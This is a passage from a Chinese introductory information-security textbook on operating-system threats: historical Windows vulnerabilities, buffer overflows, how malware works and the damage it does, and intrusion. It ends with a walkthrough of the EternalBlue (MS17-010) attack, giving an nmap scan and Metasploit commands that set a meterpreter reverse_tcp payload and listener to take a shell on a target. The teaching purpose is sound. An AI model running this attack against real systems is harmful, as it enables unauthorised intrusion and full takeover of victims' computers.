信息安全导论(在线实验+在线自测)
上QQ阅读APP看书,第一时间看更新

2.2 操作系统的安全威胁

操作系统是计算机最基本的系统软件,其他的应用软件都是在操作系统之上运行的。可以说谁能控制操作系统,谁就基本掌握了计算机上的所有信息。研究表明,很多安全问题源于操作系统的脆弱性。如今,互联网的开放性以及网络技术的泛滥,使得操作系统遭受到了越来越多入侵攻击的威胁。下面来介绍操作系统可能会面临的一些安全威胁。

2.2.1 漏洞威胁

对计算机系统安全威胁最大的就是系统本身的漏洞。只有存在漏洞,黑客才有机会入侵我们的计算机系统。据统计,99%的黑客攻击事件都是黑客利用计算机未修补的系统漏洞与错误的系统设定而引起的,当黑客探测到操作系统漏洞后,随之而来的便是针对系统的渗透入侵或者病毒传播等攻击,这将会造成计算机信息泄露、运行速度缓慢甚至整个系统瘫痪崩溃。那么到底什么是漏洞呢?

系统漏洞,也可以称为系统脆弱性(Vulnerability),是指计算机系统在硬件、软件、协议的设计、具体实现及系统安全策略上存在的缺陷和不足。系统脆弱性是相对系统安全而言的,从广义的角度来看,一切可能导致系统安全性受影响或被破坏的因素都可以视为系统漏洞。

1. 漏洞对操作系统的影响

从操作系统软件编写完成开始运行的那一刻起,系统漏洞也就伴随着产生了。作为迄今为止使用频率最高的操作系统,Windows操作系统的安全性虽然随着版本的更新一直在不断提高,但由于人为编写的缘故,始终存在漏洞和缺陷,下面来分析Windows操作系统中曾经存在过的一些漏洞。

(1)UPnP服务漏洞

此漏洞允许攻击者执行任意指令。Windows操作系统默认启动的通用即插即用(Universal Plug and Play, UPnP)服务存在严重漏洞。UPnP是一种允许主机定位和使用局域网上设备的服务,它可以利用IP地址使计算机、扫描仪、打印机、数码相机等设备互相自动搜寻以便进行通信。UPnP存在漏洞,使得黑客可以利用这类漏洞取得其他计算机的完全控制权,或者发动DDoS攻击。

(2)帮助和支持中心漏洞

此漏洞可以删除用户系统的文件。Windows XP具有“帮助和支持中心”功能,通过利用该漏洞,当用户与Internet联接时,黑客就可以利用向微软公司发送的新硬件资料代码中的安全缺陷。从网页或HTML格式电子邮件中的链接对存在这一缺陷的计算机进行远程访问时,就能够打开或删除被攻击计算机上的文件。

(3)RDP信息泄露并拒绝服务漏洞

Windows操作系统通过RDP(Remote Desktop Protocol)为客户端提供远程终端会话。RDP将终端会话的相关硬件信息传送至远程客户端,这一过程可能存在一些漏洞。

① 与某些版本的会话加密有关的漏洞。所有RDP实现均允许对RDP会话中的数据进行加密,然而在Windows 2000和Windows XP版本中,纯文本会话数据的校验在发送前并未经过加密,窃听并记录RDP会话的攻击者可对该校验密码进行分析,然后攻击并覆盖该会话传输。

② 与Windows XP中的RDP实现对某些不正确的数据包的处理方法有关的漏洞。当接收到不正确的数据包时,远程桌面服务将会失效,同时也会导致操作系统失效。攻击者只需向一个已受影响的系统发送这类数据包,则并不需经过系统的验证,就能对该操作系统进行攻击。

(4)VM漏洞

Windows操作系统和IE浏览器等软件所包含的Java运行环境“Microsoft Virtual Machine for Internet Explorer(Microsoft VM)”中存在3种安全漏洞。

① 如果向JDBC类文件(.class文件)传输非法参数,IE就会异常关闭。

② 如果向JDBC类文件传输非法参数,会随机执行动态链接库(DLL)。

③ 利用恶意的Java程序(Java Applet),就可以执行任意代码。

当用户浏览恶意使用这些安全漏洞的网页和HTML格式电子邮件时,IE就有可能异常关闭,或执行任意程序。一旦执行了这些程序,整个计算机就会被攻击者控制。

(5)账号快速切换漏洞

Windows操作系统快速账号切换功能存在的漏洞,可造成账号被锁定,使所有非管理员账号均无法登录。当单击“开始”→“注销”→“切换用户”启动快速用户切换功能,在传统登录方法下重试登录同一个用户名时,系统会误认为有暴力猜解攻击,因而会锁定全部非管理员账号。

2. 系统漏洞产生的原因

可以看出操作系统经常会出现各种漏洞,这些漏洞的产生原因大致可以分为以下3种。

(1)程序逻辑结构设计漏洞。编程人员在设计程序时,如果对程序逻辑结构设计不合理、不严谨,就可能会产生一处或多处漏洞,这些漏洞为病毒的入侵提供了入口。例如Windows 2000中的用户登录中文输入法漏洞,该漏洞允许非授权人员可以通过登录界面的输入法的帮助文件绕过Windows的用户名和密码验证,而取得计算机的最高权限。再如WinRAR的自解压功能,程序设计者的本意是为了方便用户的使用,使得没有安装WinRAR的用户也可以解压经过这种方式压缩的文件,但是这种功能被黑客用到了不正当的用途上,就造成了漏洞的产生。

(2)除了程序逻辑结构设计漏洞之外,程序设计错误漏洞也是一个重要因素。受编程人员的能力、经验和当时的安全技术所限,在程序中难免会有不足之处,轻则影响程序效率,重则导致非授权用户的权限提升。这种类型的漏洞中最典型的是缓冲区溢出漏洞,它也是被黑客利用得最多的一种漏洞。缓冲区是内存中存放数据的地方,在程序试图将数据放到其内存中的某一个未知空间时,如果没有足够的空间就会发生缓冲区溢出。缓冲区溢出可以分为人为溢出和非人为溢出。人为溢出是有一定企图的,攻击者写一个超过缓冲区长度的字符串,并植入到缓冲区,这时可能会出现两种结果:一种结果是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一种结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root权限。

(3)由于目前硬件无法解决的某些特定问题,使编程人员只得通过软件设计来表现硬件功能而产生的漏洞。

2.2.2 恶意代码

除了系统漏洞,计算机病毒也是对操作系统构成威胁的一种常见方式。计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据,影响计算机使用,能自我复制的一组计算机指令或者程序代码。威胁计算机安全的指令或代码多种多样,计算机病毒只是其中具有代表性的一种,我们把这些故意编制或设置的、对网络或系统会产生威胁或潜在威胁的计算机代码统称为恶意代码。

随着互联网的发展,恶意的网络行为越来越多,病毒等恶意代码每年都呈几何级数增长。恶意代码是一种程序,它通过把代码在不被察觉的情况下镶嵌到一段程序中,达到运行具有入侵性或破坏性的程序,从而破坏被感染计算机数据的安全性和完整性的目的。按传播方式,恶意代码可以分成5类:病毒、木马、蠕虫、移动代码和复合型病毒。

1. 恶意代码的机制

虽然恶意代码的形式多种多样,行为表现各异,破坏性也不尽相同,但是它们的攻击机制大体还是一致的。整个作用过程大体分为6个步骤。

(1)侵入系统

侵入系统是恶意代码实现其恶意行为的前提。恶意代码入侵的途径很多,例如,在来源不可靠的网站下载软件,接收已经感染恶意代码的电子邮件,存储介质之间的感染,黑客利用系统漏洞刻意植入恶意代码等。

(2)维持或提升现有权限

恶意代码在入侵到系统后,不管是要自我复制进行传播还是直接进行破坏,都必须要具有相应的权限。所以无论是伪装成合法程序还是隐藏在合法程序内,恶意代码都需要维持已有的相应权限或者窃取合法程序的相应权限。

(3)实施隐蔽策略

在入侵到系统之后,为了不让系统发现,恶意代码可能会通过重命名、删除原文件甚至修改系统的安全策略的方式来隐藏和保护自己。

(4)潜伏

恶意代码侵入系统后,会等待一定的条件触发,当条件被满足,同时拥有权限的时候,恶意代码就会发作,进行破坏活动。

(5)破坏

恶意代码具有破坏性,恶意代码的目的就是破坏系统的完整性,造成数据损坏,信息丢失等。

(6)重复步骤(1)到(5),对新的目标实施攻击。

整个攻击模型如图2-7所示。

图2-7 攻击模型

2. 恶意代码的危害

恶意代码不仅威胁着个人用户的财产安全,还可能造成更严重的影响。如果黑客入侵到公司或企业服务器上,从被攻击者的机器上窃取敏感数据和商业机密信息,轻者可能给被攻击者的声誉造成不良影响,重者可能会对公司的品牌及其业务造成严重或者重大的损害。恶意代码问题无论从政治上、经济上,还是军事上,都已成为信息安全面临的重要问题。恶意代码的危害具体体现在以下几个方面。

(1)禁止使用计算机

一般情况下黑客们是不会进行这种攻击的。但是一旦被攻击,则后果不堪设想。在这种情况下,运行任何程序都会被禁止,一般只能重装操作系统了。

(2)格式化硬盘

这类恶意代码主要是利用IE浏览器的Active X功能,让使用者在无意中格式化自己的硬盘。一般软件需要用户单独下载然后执行安装,而Active X插件是当用户浏览到特定的网页时,IE浏览器即可自动下载并提示用户安装,这是Active X插件的特点。Active X插件安装的一个前提条件是必须经过用户的同意及确认,所以我们在浏览网页时,如果对弹出的窗口提示不清楚,则千万不要随意回答“是”。

(3)抢占系统资源

有的恶意代码不会去删除或格式化计算机的数据,但是它会通过检测出来的磁盘未使用空间,将恶意代码中的传染部分写进去,非法占据磁盘空间。还有一类恶意代码是常驻内存的,这类代码不但消耗了计算机内存资源,还常常通过修改内存中的一些进程,干扰系统运行。

(4)修改浏览器设置

我们最常感染的一类恶意代码就是网页恶意代码。这类恶意代码往小了说,可通过修改主页和搜索引擎、加入弹框、植入广告和不良信息来非法获取利益,往大了说,会利用一些浏览器的漏洞在后台下载木马并执行,使计算机在不知不觉当中就感染了木马。

(5)威胁数据安全

随着大数据时代的到来,数据的重要性日益突出。黑客已经不再是单纯地利用恶意代码来进行破坏性攻击了。实际上在WannaCry事件爆发之前,大量类似的蠕虫勒索病毒就已经开始肆虐。黑客利用恶意代码加密用户数据,然后对用户进行勒索,而且“赎金”需要以比特币的形式支付。这种虚拟货币支付形式分散、难以追踪,所以非常受黑客欢迎。

2.2.3 入侵威胁

病毒杀伤力再大,它也只是一段既定的代码。而针对操作系统的入侵则是人为的攻击活动,方式策略更是灵活多变,早期黑客入侵只是为炫耀一下自己高超的技术或发泄一下情绪。但时至今日,这些入侵行为的动机和本质早已发生了改变。利益的驱使,法律的无知及黑客技术和工具的泛滥,使得许多黑客和不法分子大肆进行网络入侵,赚取不义之财。

例如,本章开篇提到的“永恒之蓝”事件,其实是利用了Windows操作系统一个底层服务的漏洞(漏洞编号MS17-010),再通过计算机开放的445端口入侵到目标计算机当中的。下面将通过案例来讲解攻击者是如何利用该漏洞进行入侵的。

1. 使用nmap扫描目标主机的操作系统类型以及是否开放了445端口

输入命令“nmap -O -p445 ip”,如图2-8所示,操作系统最有可能为Windows 7操作系统,且445端口是开启的。

图2-8 显示445端口开启

2. 利用ms17_010_eternalblue模块进行渗透

(1)在Kali中打开msf框架,输入命令“msfconsole”。

(2)使用ms17_010_eternalblue模块及各个配置,大致过程如下。

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/
reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set RHOST 10.10.12.188(目标主机IP)
RHOST =>10.10.12.188
msf exploit(ms17_010_eternalblue) > set LHOST 172.17.0.6(监听的主机IP)
LHOST =>172.17.0.6
msf exploit(ms17_010_eternalblue) > set LPORT 1234(监听的端口,设置为1234)
LPORT =>1234
msf exploit(ms17_010_eternalblue) > exploit

入侵结果如图2-9所示,可以看到已经成功获得了目标计算机的shell,完全控制了目标计算机。

图2-9 成功入侵目标计算机